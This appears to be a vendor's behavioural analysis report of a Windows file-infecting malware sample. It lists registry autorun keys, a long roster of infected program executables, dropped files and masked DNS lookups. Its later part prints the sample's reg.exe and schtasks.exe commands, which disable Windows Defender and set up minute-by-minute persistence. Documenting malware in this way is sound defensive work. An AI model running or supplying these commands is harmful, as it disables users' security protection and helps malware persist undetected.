Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\Software\Classes\exefile\shell\open\command] '' = '%WINDIR%\svchost.com "%1" %*'
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Hide4 ROOT' = '%APPDATA%\Hide4 ROOT.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\hide4 root.exe
Infects the following executable files
- C:\far2\far.exe
- %ProgramFiles(x86)%\Steam\GameOverlayUI.exe
- %ProgramFiles(x86)%\Steam\steam\games\appid_10540.exe
- %ProgramFiles(x86)%\Steam\steam\games\appid_10560.exe
- %ProgramFiles(x86)%\Steam\steam\games\appid_17300.exe
- %ProgramFiles(x86)%\Steam\steam\games\appid_17330.exe
- %ProgramFiles(x86)%\Steam\bin\wow_helper.exe
- %ProgramFiles(x86)%\Steam\steam\games\appid_17340.exe
- %ProgramFiles(x86)%\Steam\bin\x86launcher.exe
- %ProgramFiles(x86)%\Steam\steam\games\appid_6520.exe
- %ProgramFiles(x86)%\Steam\steamerrorreporter.exe
- %ProgramFiles(x86)%\Steam\steamerrorreporter64.exe
- %ProgramFiles(x86)%\Steam\streaming_client.exe
- %ProgramFiles(x86)%\Steam\uninstall.exe
- %ProgramFiles(x86)%\Steam\WriteMiniDump.exe
- %ProgramFiles(x86)%\Steam\steam\games\appid_6510.exe
- %ProgramFiles(x86)%\Winamp\Elevator.exe
- %ProgramFiles(x86)%\Steam\Steam.exe
- %ProgramFiles(x86)%\Steam\bin\x64launcher.exe
- %ProgramFiles(x86)%\Steam\bin\steamwebhelper.exe
- %ProgramFiles(x86)%\Steam\bin\steamservice.exe
- %ProgramFiles(x86)%\Mozilla Thunderbird\crashreporter.exe
- %ProgramFiles(x86)%\Mozilla Thunderbird\maintenanceservice.exe
- %ProgramFiles(x86)%\Mozilla Thunderbird\maintenanceservice_installer.exe
- %ProgramFiles(x86)%\Mozilla Thunderbird\thunderbird.exe
- %ProgramFiles(x86)%\Mozilla Thunderbird\uninstall\helper.exe
- %ProgramFiles(x86)%\Mozilla Thunderbird\updater.exe
- %ProgramFiles(x86)%\Mozilla Firefox\webapprt-stub.exe
- %ProgramFiles(x86)%\Opera\29.0.1795.47\installer.exe
- %ProgramFiles(x86)%\Opera\29.0.1795.47\opera_crashreporter.exe
- %ProgramFiles(x86)%\Opera\29.0.1795.47\wow_helper.exe
- %ProgramFiles(x86)%\Opera\launcher.exe
- %ProgramFiles(x86)%\Pidgin\pidgin-uninst.exe
- %ProgramFiles(x86)%\Pidgin\pidgin.exe
- %ProgramFiles(x86)%\QIP 2012\qip.exe
- %ProgramFiles(x86)%\QIP 2012\unins000.exe
- %ProgramFiles(x86)%\Opera\29.0.1795.47\opera_autoupdate.exe
- %ProgramFiles(x86)%\Steam\bin\html5app_steam.exe
- %ProgramFiles(x86)%\Mozilla Firefox\webapp-uninstaller.exe
- %ProgramFiles(x86)%\Mozilla Firefox\wow_helper.exe
- %ProgramFiles(x86)%\Winamp\Plugins\reporter.exe
- %ALLUSERSPROFILE%\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe
- C:\totalcmd\tcusbrun.exe
- C:\totalcmd\TOTALCMD64.EXE
- %APPDATA%\ICQM\ICQ\dll\mailrusputnik.exe
- %APPDATA%\Mail.Ru\Agent\Mra\dll\mailrusputnik.exe
- %APPDATA%\qipguard\qipguard.exe
- %APPDATA%\QipGuard\QipGuard_upd.exe
- C:\totalcmd\tcmdx32.exe
- C:\totalcmd\tcunin64.exe
- %APPDATA%\Telegram Desktop\unins000.exe
- %HOMEPATH%\desktop\utorrent.exe
- %HOMEPATH%\Downloads\ChromeSetup.exe
- %HOMEPATH%\Downloads\K-Lite_Codec_Pack_1110_Mega_dlm.exe
- %HOMEPATH%\Downloads\mirc741.exe
- %HOMEPATH%\Downloads\Opera_NI_stable.exe
- %HOMEPATH%\Downloads\pidgin-2.10.11.exe
- %APPDATA%\Telegram Desktop\Updater.exe
- %HOMEPATH%\Desktop\chromesetup.exe
- C:\totalcmd\tcmadm64.exe
- %ALLUSERSPROFILE%\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\gacutil.exe
- %ALLUSERSPROFILE%\Package Cache\{01db25f3-1b76-4d97-88c8-1c90634d88fb}\vcredist_x86.exe
- %ALLUSERSPROFILE%\Package Cache\{0f12c81f-93ef-46ec-bc94-d952c1a775d4}\vcredist_x64.exe
- %ALLUSERSPROFILE%\Package Cache\{2af972c7-13b0-4978-92a8-fee26a4fb4e9}\vcredist_x86.exe
- %ALLUSERSPROFILE%\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe
- %ALLUSERSPROFILE%\Package Cache\{35459b22-19a6-44ec-8d34-27eb3131acac}\vcredist_x64.exe
- %ALLUSERSPROFILE%\Package Cache\{51adbf11-493f-431c-a862-967a0fae2944}\vcredist_x64.exe
- %ALLUSERSPROFILE%\Package Cache\{615bc16d-60f5-482e-91b3-b51d8130963b}\vcredist_x86.exe
- %ALLUSERSPROFILE%\Package Cache\{6c95b50e-cb5a-4a1f-a7b4-8a6004f8dd6a}\vcredist_x86.exe
- %ALLUSERSPROFILE%\Package Cache\{74d0e5db-b326-4dae-a6b2-445b9de1836e}\VC_redist.x86.exe
- %ALLUSERSPROFILE%\Package Cache\{a2199617-3609-410f-a8e8-e8806c73545b}\vcredist_x64.exe
- %ALLUSERSPROFILE%\Package Cache\{b55f7208-e02b-4828-ac78-59c73ddf5bc7}\vcredist_x86.exe
- %ALLUSERSPROFILE%\Package Cache\{ce085a78-074e-4823-8dc1-8a721b94b76d}\vcredist_x86.exe
- %ALLUSERSPROFILE%\Package Cache\{dde2682b-961a-41ea-8d44-6005991b7947}\vcredist_x64.exe
- %ALLUSERSPROFILE%\Package Cache\{e46eca4f-393b-40df-9f49-076faf788d83}\VC_redist.x64.exe
- %ALLUSERSPROFILE%\Package Cache\{f0080ca2-80ae-4958-b6eb-e8fa916d744a}\vcredist_x86.exe
- %ProgramFiles(x86)%\Winamp\UninstWA.exe
- %ALLUSERSPROFILE%\Adobe\ARM\S\10428\AdobeARMHelper.exe
- %ProgramFiles(x86)%\Winamp\winamp.exe
- %ProgramFiles(x86)%\Mozilla Firefox\updater.exe
- %ProgramFiles(x86)%\Mozilla Firefox\uninstall\helper.exe
- %ProgramFiles(x86)%\Mozilla Firefox\plugin-hang-ui.exe
- %CommonProgramFiles(x86)%\microsoft shared\TextConv\WksConv\Wkconv.exe
- %CommonProgramFiles(x86)%\microsoft shared\VS7Debug\vs7jit.exe
- %CommonProgramFiles(x86)%\microsoft shared\VSTO\10.0\VSTOInstaller.exe
- %CommonProgramFiles(x86)%\Steam\SteamService.exe
- %ProgramFiles(x86)%\Google\Chrome\Application\42.0.2311.135\delegate_execute.exe
- %CommonProgramFiles(x86)%\Java\Java Update\jaureg.exe
- %ProgramFiles(x86)%\Google\Chrome\Application\42.0.2311.135\Installer\chrmstp.exe
- %CommonProgramFiles(x86)%\microsoft shared\Help\dexplore.exe
- %ProgramFiles(x86)%\Google\Chrome\Application\42.0.2311.135\nacl64.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleCrashHandler.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleCrashHandler64.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleUpdate.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleUpdateBroker.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleUpdateComRegisterShell64.exe
- %ProgramFiles(x86)%\Google\Chrome\Application\42.0.2311.135\Installer\setup.exe
- %CommonProgramFiles(x86)%\Adobe\ARM\1.0\armsvc.exe
- %ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe
- %CommonProgramFiles(x86)%\Adobe\ARM\1.0\AdobeARMHelper.exe
- %CommonProgramFiles(x86)%\Adobe\ARM\1.0\AdobeARM.exe
- C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\ose.exe
- C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\DW20.EXE
- C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\dwtrig20.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe
- C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\setup.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\arh.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\Eula.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\reader_sl.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\wow_helper.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe
- %ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleUpdateSetup.exe
- %CommonProgramFiles(x86)%\Java\Java Update\jusched.exe
- %ProgramFiles(x86)%\Google\Update\1.3.26.9\GoogleUpdateWebPlugin.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\mscordmp.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\PermView.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\PEVerify.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\setreg.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\sn.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\WinCV.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\WinRes.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\wsdl.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\xsd.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\GuiDebug\DbgCLR.exe
- %ProgramFiles(x86)%\mIRC\mirc.exe
- %ProgramFiles(x86)%\mIRC\uninstall.exe
- %ProgramFiles(x86)%\Mozilla Firefox\crashreporter.exe
- %ProgramFiles(x86)%\Mozilla Firefox\maintenanceservice.exe
- %ProgramFiles(x86)%\Mozilla Firefox\maintenanceservice_installer.exe
- %ProgramFiles(x86)%\Mozilla Firefox\plugin-container.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\Jbimp.exe
- %ProgramFiles(x86)%\Google\Update\GoogleUpdate.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\nmake.exe
- C:\totalcmd\NOCLOSE64.EXE
- %HOMEPATH%\Downloads\SteamSetup.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\disco.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Filters\Haali\gdsmux.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\MPC-HC64\mpc-hc64.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Tools\CodecTweakTool.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Tools\GraphStudioNext.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Tools\GraphStudioNext64.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Tools\mediainfo.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Tools\SetACL_x64.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Filters\Haali\dsmux.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\Tools\SetACL_x86.exe
- %ProgramFiles(x86)%\Microsoft Office\Office14\MSOHTMED.EXE
- %ProgramFiles(x86)%\Microsoft Visual Studio .NET 2003\Common7\Packages\Debugger\ManagedDbgCA.exe
- %ProgramFiles(x86)%\Microsoft Visual Studio .NET 2003\Vc7\bin\cl.exe
- %ProgramFiles(x86)%\Microsoft Visual Studio .NET 2003\Vc7\bin\link.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\AxImp.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\certmgr.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\cordbg.exe
- %ProgramFiles(x86)%\K-Lite Codec Pack\unins000.exe
- %ProgramFiles(x86)%\Microsoft.NET\SDK\v1.1\Bin\ildasm.exe
- %HOMEPATH%\Downloads\tcmd851ax64.exe
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Modifies file system
Creates the following files
- %TEMP%\hide4 root.exe
- %TEMP%\root pro.exe
- %TEMP%\disiabled windows antivirus.vbs
- %TEMP%\disable defender.vmp.exe
- %TEMP%\3582-490\disable defender.vmp.exe
- %WINDIR%\svchost.com
- %TEMP%\512b.tmp\514b.tmp\514c.bat
- %WINDIR%\directx.sys
- %CommonProgramFiles%\java\javaup~1\jucheck.exe
- %CommonProgramFiles%\pxstor~1\pxcpya64.exe
- %CommonProgramFiles%\pxstor~1\pxcpyi64.exe
- %CommonProgramFiles%\pxstor~1\pxhpinst.exe
- %CommonProgramFiles%\pxstor~1\pxinsa64.exe
- %CommonProgramFiles%\pxstor~1\pxinsi64.exe
- %ProgramFiles%\winamp\winampa.exe
- %APPDATA%\hide4 root.exe
Deletes the following files
- %WINDIR%\svchost.com
Network activity
UDP
- DNS ASK ip##pi.com
- DNS ASK ag#####eland.at.ply.gg
Miscellaneous
Creates and executes the following
- '%TEMP%\hide4 root.exe'
- '%TEMP%\root pro.exe'
- '%TEMP%\disable defender.vmp.exe'
- '%TEMP%\3582-490\disable defender.vmp.exe'
- '%WINDIR%\svchost.com' "%WINDIR%\sysnative\cmd.exe" /c "%TEMP%\512B.tmp\514B.tmp\514C.bat "%TEMP%\3582-490\Disable Defender.vmp.exe""
- '%WINDIR%\svchost.com' "%WINDIR%\sysnative\cmd.exe" /c "%TEMP%\512B.tmp\514B.tmp\514C.bat "%TEMP%\3582-490\Disable Defender.vmp.exe""' (with hidden window)
- '%WINDIR%\svchost.com' "<SYSTEM32>\schtasks.exe" /create /sc minute /mo 1 /tn "Hide4 ROOT" /tr "%APPDATA%\Hide4 ROOT.exe"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\Disiabled Windows Antivirus.vbs"
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '<SYSTEM32>\reg.exe' delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\512B.tmp\514B.tmp\514C.bat "%TEMP%\3582-490\Disable Defender.vmp.exe""
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\schtasks.exe' /create /sc minute /mo 1 /tn Hide4 ROOT /tr %APPDATA%\Hide4 ROOT.exe
